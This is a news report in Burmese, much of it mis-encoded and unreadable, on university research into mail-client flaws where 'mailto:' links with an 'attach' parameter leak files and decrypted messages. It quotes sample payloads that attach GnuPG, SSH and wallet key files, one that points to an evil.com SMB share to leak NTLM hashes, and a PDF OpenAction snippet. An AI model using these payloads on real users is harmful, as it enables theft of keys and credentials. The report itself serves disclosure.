Ruhr University Bochum (áá»á¬ááá®) á០áá¯áá±áá®áá»á¬ážá () á¡ááá·áºááŒáá·áº ááá·áºáááºáá±á¬ááºáá»á¬ážááŒáá·áº âmailto:â ááá·áºááºáá»á¬ážááᯠáá¯ááºáá±á¬ááºááá·áºá¡áá« áá±ážááºáá±á¬ááºáááºáá»á¬ážá á¡ááŒá¯á¡áá°á áááºážá á áºáá¬ážáá±á¬ á¡á®ážáá±ážááºáá±á¬ááºáááºá¡áá±á¬ááºááŸá áºáááºá០áá«ážáŠážááẠâattachâ ááá·áºáááºáá±á¬ááºááᯠá¡áá¯á¶ážááŒá¯á á¡áááºážá¡ááŒá áºá¡á á¬ážááá¯ážááŒááºážá¡á¬áž ááŒáá¯ážááá¯ááºáá¬ážááá·áº ááá¯ááºááá¯ááºááŸá¯ááᯠáá¶ááá¯ááºáááºááŸáááŒáááºá áá±á¬ááºááẠá¡á®ážáá±ážááºáááá¯ááºážááá·áº ááŒá±á¬ááºáŠážááẠPGP ááŸáá·áº S/MIME áá±á¬á·á¡á á¬ážááá¯áž ááá¯ááºááá¯ááºááŸá¯ááᯠáá¶ááá¯ááºáááºááŸáááŒá®áž áá¯ááºáá¯ááºáá¯ááºáá¬ážáá±á¬ áááºáá±á·áá»áºáá»á¬ážá á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááᯠáá¯ááºáá°ááẠáá±á¬ááºááẠáá¯á¶ážáŠážááẠááá¯ááºááá¯ááºááŒááºážááœáẠá¡á¬ážáááºážáá»ááºááŸááááºá
ááá·áºáá»á¬áž «"ááá·áºááºááœáẠáááºááŸááºáá¬ážáá±á¬ ááááºá á¬áá±ážáá°áᶠá á¬áá áºá á±á¬ááºáá±ážáááºá¡ááœáẠá¡á®ážáá±ážááºáááá¯ááºážááá·áºááᯠá¡ááá¯á¡áá»á±á¬ááºááœáá·áºááẠá¡áá¯á¶ážááŒá¯áááºá ááááºá á¬á¡ááŒááºá á á¬áá¡ááŒá±á¬ááºážá¡áá¬ááŸáá·áº áá¯á¶ááŸááºá¡ááŒá±á¬ááºážá¡áá¬á¡ááœáẠáá¯á¶á á¶ááœááºáá²á·ááá¯á·áá±á¬ ááá·áºááºááá áºá áááºáá áºááá¯ááºážá¡ááŒá Ạá¡ááá¯áá±á¬ááºáá»á¬ážááᯠáááºáááºááŸááºááá¯ááºáááºá á¡ááá¯ááŒá¯áá¬ážáá±á¬ ááá¯ááºááá¯ááºááŸá¯ááẠáá¯ááºáá¯ááºáá¬ážáá±á¬ áááºáá±á·áá»áºááœáẠáá°ážááœá²áá«ááá¯ááºááᯠáá°ážááœá²ááá·áºááœááºážááœáá·áºááŒá¯ááá·áº "áá°ážááœá²áá«" ááá·áºáááºáá±á¬ááºááᯠááŒáá¯ážááá¯ááºáááºá
áá±ážááºáá±á¬ááºáááºáá»á¬áž Thunderbirdá GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) ááŸáá·áº Pegasus Mail ááá¯á·ááẠááá·áºá¡á¬áž á¡ááá¯á¡áá»á±á¬áẠáá°ážááœá²áá¯ááºáá±á¬ááºááá¯ááºá á±ááá·áº á¡áá±ážá¡ááœá²ááá¯ááºááá¯ááºááŸá¯ááᯠáá¶ááá¯ááºáááºááŸááááºá âmailto:?attach=path_to_fileâ áá²á·ááá¯á·áá±á¬ ááá·áºááºááŸáá áºááá·áº áááºááŸááºáá¬ážáá±á¬ áááºááá·áº ááŒááºááœááºážááá¯ááºáááá¯á ááááá±ážáá»ááºáááŒáá² ááá¯ááºááᯠáá°ážááœá²áá«ááŸááá±á¬ááŒá±á¬áá·áº á¡áá°ážááá¯áááŒá¯áá² áá°ážááœá²áá«ááá¯ááºááŸáá·áºá¡áá° áá±ážááá¯á·áááºááᯠá¡áá¯á¶ážááŒá¯áá° áááááá¬ážááááá¯ááºáá«á
á¥ááá¬á¡á¬ážááŒáá·áºá âmailto:[á¡á®ážáá±ážááºááá¯áá¬ááœááºáá¬ážáááº]&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" áááºááẠGnuPG á០áá®ážááá·áºáá±á¬á·áá»á¬ážááᯠá á¬áá¯á¶ážáá²ááá¯á· ááá·áºááá¯ááºáááºá áááºááẠcrypto ááá¯ááºáá¶á¡áááºáá»á¬áž (~/.bitcoin/wallet.dat)á SSH áá±á¬á·áá»á¬áž (~/.ssh/id_rsa) ááŸáá·áº á¡áá¯á¶ážááŒá¯áá°áá¶ááá¯á· áááºáá±á¬ááºááá¯ááºáá±á¬ áááºááá·áºááá¯ááºáá»á¬ážááá¯áááᯠáá±ážááá¯á·ááá¯ááºáá«áááºá ááá¯á·á¡ááŒááºá Thunderbird ááẠ"attach=/tmp/*.txt" áá²á·ááá¯á·áá±á¬ áááºáá±á¬ááºááŸá¯áá»á¬ážááᯠá¡áá¯á¶ážááŒá¯á áá»ááºááŸá¬áá¯á¶ážááŒáá·áº ááá¯ááºá¡á¯ááºá á¯áá»á¬ážááᯠáá°ážááœá²ááá¯ááºá á±áá«áááºá
áá±áááœááºážááá¯ááºáá»á¬ážá¡ááŒááºá á¡áá»áá¯á·áá±á¬ á¡á®ážáá±ážááºáá±á¬ááºáááºáá»á¬ážááẠIMAP áá¬áá¬ááŸá ááœááºáááºááá¯ááŸá±á¬ááºááŸá¯ááŸáá·áº áááºážááŒá±á¬ááºážáá»á¬ážááá¯á· ááá·áºááºáá»á¬ážááᯠáá¯ááºáá±á¬ááºáááºá á¡áá°ážáááŒáá·áºá IBM Notes ááẠâattach=\\evil.com\dummyfileâ áá²á·ááá¯á·áá±á¬ ááá·áºááºáá»á¬ážááᯠáá¯ááºáá±á¬ááºááá·áºá¡áá«ááœáẠááœááºáááºáááºážááœáŸááºáá áºáá¯á០ááá¯ááºáá áºáá¯ááᯠááœáŸá²ááŒá±á¬ááºážááá¯ááºá á±ááá·áºá¡ááŒáẠááá¯ááºááá¯ááºáá° ááááºážáá»á¯ááºáá¬ážááá·áº SMB áá¬áá¬ááá¯á· ááá·áºááºáá áºáᯠáá±ážááá¯á·ááŒááºážááŒáá·áº NTLM á á áºááŸááºááŒá±á¬ááºážá¡áá±á¬ááºá¡áá¬ážáá»á¬ážááᯠááŒá¬ážááŒááºááœáá·áºááŒá¯áááºá (áá±á¬ááºážááá¯áá»ááºááᯠáááºááŸá á¡áá±á¬ááºá¡áá¬ážá áá á áºááŒááºážáá±á¬ááºáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯áá°ááŸáá·áºá¡áá° áá±ážááá¯á·áá«áááºá)
Thunderbird ááẠááá·áºá¡á¬áž IMAP áá¬áá¬ááŸá ááá¯ááºááœá²áá»á¬ážá០á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááᯠáá°ážááœá²áááºááœáá·áºááŒá¯ááá·áº âattach=imap:///fetch>UID>/INBOX>1/â áá²á·ááá¯á·áá±á¬ áá±á¬ááºážááá¯ááŸá¯áá»á¬ážááᯠá¡á±á¬ááºááŒááºá áœá¬ áá¯ááºáá±á¬ááºáá«áááºá áá áºáá»áááºáááºážááŸá¬áááºá OpenPGP ááŸáá·áº S/MIME ááŸáá áºááá·áº áá¯ááºááŸááºáá¬ážáá±á¬ IMAP á០ááŒááºáááºááá°áá¬ážáá±á¬ á á¬áá»á¬ážááᯠáááá¯á·áá® áá±ážááºáááá¯ááºážááá·áºá á¡ááá¯á¡áá»á±á¬áẠá á¬ááŸááºáá¬ážáááºá Thunderbird á developer áá»á¬ážááŒá áºáááºá áá±áá±á«áºáá«áá®á ááŒá¿áá¬ááŸáá·áº áááºáááºáá±á¬ ááá á¹á ááŒá¿áá¬ááᯠááŒá±ááŸááºážááŒá®ážááŒá® (Thunderbird á¡ááá¯ááºážá¡ááẠ52á 60 ááŸáá·áº 68 ááá¯á·ááẠá¡á¬ážáááºážáá±áá±ážáááº)á
Thunderbird á áá¬ážááŸááºážáá±á¬ááºážáá»á¬ážááẠáá¯áá±áá®áá»á¬áž á¡ááá¯ááŒá¯áá¬ážáá±á¬ PGP ááŸáá·áº S/MIME áá±á«áºááŸá á¡ááŒá¬ážáá±á¬ ááá¯ááºááá¯ááºááŸá¯áá»áá¯ážááœá²ááŸá áºáá¯ááá¯áááºáž ááááá¯ááºá á±ááá¯ááºáááºá á¡áá°ážáááŒáá·áºá Thunderbird á á¡ááŒáẠOutLooká PostBoxá eM Clientá MailMate ááŸáá·áº R2Mail2 ááá¯á·ááẠá á¬ááá¯ááºáááá¯ááºážááá·áºááẠS/MIME áááºáá±á·áá»áºáá»á¬ážááœáẠáá±ážááá¯á·ááá·áº áááºááŸááºá¡áá áºáá»á¬ážááᯠá¡ááá¯á¡áá»á±á¬ááºáááºááœááºážááŒá®áž ááá·áºááœááºážáá±ážáá±á¬ááŒá±á¬áá·áº áá±á¬á·á¡á á¬ážááá¯ážááá¯ááºááá¯ááºááŸá¯ááᯠáá¶ááá«áááºá ááá¯ááºááá¯ááºáá°ááẠá¡áá¯á¶ážááŒá¯áá° ááááºážáááºážáá¬ážááŒá®ážáá±á¬ á¡áá»á¬ážáá°ááŸá¬áá±á¬á·áá»á¬ážááᯠá¡á á¬ážááá¯ážá á¯á ááºážáááºá
Thunderbirdá PostBox ááŸáá·áº MailMate ááá¯á·ááẠáá¶áááá¯ááºáá»á±ááŸááá±á¬ áá¯áááááá¯ááºááá¯ááºááŸá¯ááẠáá°ááŒááºážáááºáá±á·áá»áºáá»á¬ážááᯠá¡ááá¯á¡áá»á±á¬ááºááááºážáááºážááŒááºážá¡ááœáẠááá¹ááá¬ážáá¡ááºá¹áá«áááºáá»á¬ážááᯠááŒáá¯ážááá¯ááºáᬠá á¬ááá¯áá±á¬ááºáá±á¬ááºáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯áá¬á á á¬ááŸááºáá¬ážáá±á¬á á¬áá»á¬ážááᯠá á¬ááŸááºá á¬ááŸááºááᯠá áááºááẠááá¯á·ááá¯áẠáááá¬ážáá±á¬á á¬áá»á¬ážá¡ááœáẠáá áºáá»á áºáááºáááºááŸááºááᯠáááºáá±á«ááºážááŒááºážááŸáá·áºá¡áá°á ááááºááᯠááá¯ááºááá¯ááºáá°á IMAP áá¬áá¬ááá¯á· áá±ážááá¯á·ááŒááºážá á€ááá¯ááºááá¯ááºááŸá¯ááœááºá á á¬ááŸááºá á¬áá¬ážááᯠ"ááá¯ááºáááº" ááá·áºáááºáá±á¬ááºááŸáááá·áº áá±ážááá¯á·ááŒá®áž ááá¯ááºááá¯ááºáá°á IMAP áá¬áá¬ááá¯á· áá±á«áºááá¯ááŸá¯á áááºáááºá¡ááœáẠ"áááºáá¬ááŒááºáááºáááºážáá áºááŒááºáž" áááºááᯠá¡áá¯á¶ážááŒá¯áááºá á¥ááá¬á¡á¬ážááŒááºá·: ' '
áá¯á¶ážá áœá²áá°á¡ááŒááºá¡ááŸááºáá¯á¶á·ááŒááºááŸá¯áááŸááá² âmailto:â ááá·áºááºáá»á¬ážááᯠá¡ááá¯á¡áá»á±á¬ááºáá¯ááºáá±á¬ááºáááºá á¡áá°ážáá®ááá¯ááºážáá¯ááºáá¬ážáá±á¬ PDF á á¬ááœááºá á¬áááºážáá»á¬ážááá¯á¡áá¯á¶ážááŒá¯ááá¯ááºááẠ- PDF ááŸá OpenAction áá¯ááºáá±á¬ááºáá»ááºááẠá á¬ááœááºá á¬áááºážáá áºáá¯ááá¯ááœáá·áºááá·áºá¡áá« á á¬ááá¯ááºááá¯ááºááœááºáá°ááᯠá¡ááá¯á¡áá»á±á¬ááºá áááºááá¯ááºá á±áááº-
%PDF-1.5
ááá¹áᯠá áá¯
<< /Type /Catalog /OpenAction [2 0 R] >>
endobj
ááá¹áᯠá áá¯
<< /Type /Action /S /URI/URI (mailto:?body=ââBEGIN PGP MESSAGEââ[âŠ])>>
endobj
source: opennet.ru